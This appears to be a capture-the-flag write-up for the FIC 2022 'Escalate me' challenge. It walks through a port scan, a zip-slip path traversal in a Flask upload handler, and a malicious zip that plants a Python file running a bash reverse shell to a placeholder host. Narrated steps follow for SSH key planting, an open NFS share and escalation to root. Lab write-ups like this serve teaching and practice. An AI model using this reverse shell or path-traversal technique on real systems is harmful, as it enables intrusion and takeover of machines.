FIC - 2022 Escalate me

Scan

Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 15:21 CEST
Initiating Ping Scan at 15:21
Scanning ec2.root-me.org (163.172.230.100) [4 ports]
Completed Ping Scan at 15:21, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:21
Completed Parallel DNS resolution of 1 host. at 15:21, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:21
Scanning ec2.root-me.org (163.172.230.100) [1000 ports]
Discovered open port 80/tcp on 163.172.230.100
Discovered open port 22/tcp on 163.172.230.100
Discovered open port 111/tcp on 163.172.230.100
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.35% done; ETC: 15:21 (0:00:05 remaining)
Discovered open port 3000/tcp on 163.172.230.100
Discovered open port 2049/tcp on 163.172.230.100
Completed SYN Stealth Scan at 15:21, 1.46s elapsed (1000 total ports)
Nmap scan report for ec2.root-me.org (163.172.230.100)
Host is up, received reset ttl 47 (0.017s latency).
rDNS record for 163.172.230.100: ctf40.root-me.org
Scanned at 2022-06-09 15:21:17 CEST for 1s
Not shown: 994 closed tcp ports (reset)
PORT     STATE    SERVICE REASON
22/tcp   open     ssh     syn-ack ttl 48
25/tcp   filtered smtp    no-response
80/tcp   open     http    syn-ack ttl 47
111/tcp  open     rpcbind syn-ack ttl 48
2049/tcp open     nfs     syn-ack ttl 48
3000/tcp open     ppp     syn-ack ttl 48

Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds
           Raw packets sent: 1005 (44.196KB) | Rcvd: 1001 (40.064KB)

Web page

Other web page, port 3000

Retrieve the sources

Upload possible

@app.route('/upload', methods=['POST'])

def upload():
    if request.method == 'POST':
        extract_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "uploads") # "~= $PWD/uploads"
        if 'file' not in request.files:
            flash('No file part')
            return "No File part!"
        file_uploaded = request.files['file']
        
        #si nom de fichier vide
        if file_uploaded.filename == '':
            flash('No selected file')
            return "No File Selected!"
        
        '''
        si y'a un . et que ça termine pas .zip:

        '''    
        if file and allowed_file(file_uploaded.filename):
            filename = secure_filename(file_uploaded.filename) #enlève tous les '../../../'
            write_to_file = os.path.join(extract_path, filename)
            file_uploaded.save(write_to_file) # sauvegarde sur # "~= $PWD/uploads/tructruc.zip" 
            unzip(write_to_file, extract_path) # puis dezip le fichier
            html = '''

def unzip(zipped_file, extract_path):
    print("[DEBUB] unzip....")
    try:
        files = []
        with zipfile.ZipFile(zipped_file, "r") as z:
            #print("[DEBUG] z: "+z)
            for fileinfo in z.infolist():
                filename = fileinfo.filename
                data = z.open(filename, "r")
                files.append(filename)
                outfile_zipped = os.path.join(extract_path, filename) #$PWD/uploads/tructruc.zip
                
                if not os.path.exists(os.path.dirname(outfile_zipped)):
                    print("[DEBUB] essaye de creer un dossier")
                    try:
                        os.makedirs(os.path.dirname(outfile_zipped))
                    except OSError as exc:
                        if exc.errno != errno.EEXIST:
                            print "\nRace Condition"
                

                if not outfile_zipped.endswith("/"):
                    print("[DEBUB] outfile_zipped: "+outfile_zipped)
                    with io.open(outfile_zipped, mode='wb') as f:
                        f.write(data.read())
                data.close()
                
        return files
    except Exception as e:
        print "Unzipping Error" + str(e)

Seems to be vulnerable to path traversal

Sitemap

Evil zip file

I’ll try to upload a zip file, once uploaded il will decompress to ../config/__init__.py

content of __init__.py:

#!/usr/bin/python2.7
#content of __init__.py

import os
os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/MYIP/8888 0>&1'")

upload the file

then, got a reverse shell, uploaded my ssh_key and then can ssh to the remote machine

Run linpeas

we found that there is an unprotected nfs share

mount it on my machine

priv esc Admin

I have put my ssh to /home/admin/.ssh/auhtorized_keys

I can now ssh to the remote machine as admin user

privesc root

create a junk directory

I got root permissions and can now cat the flag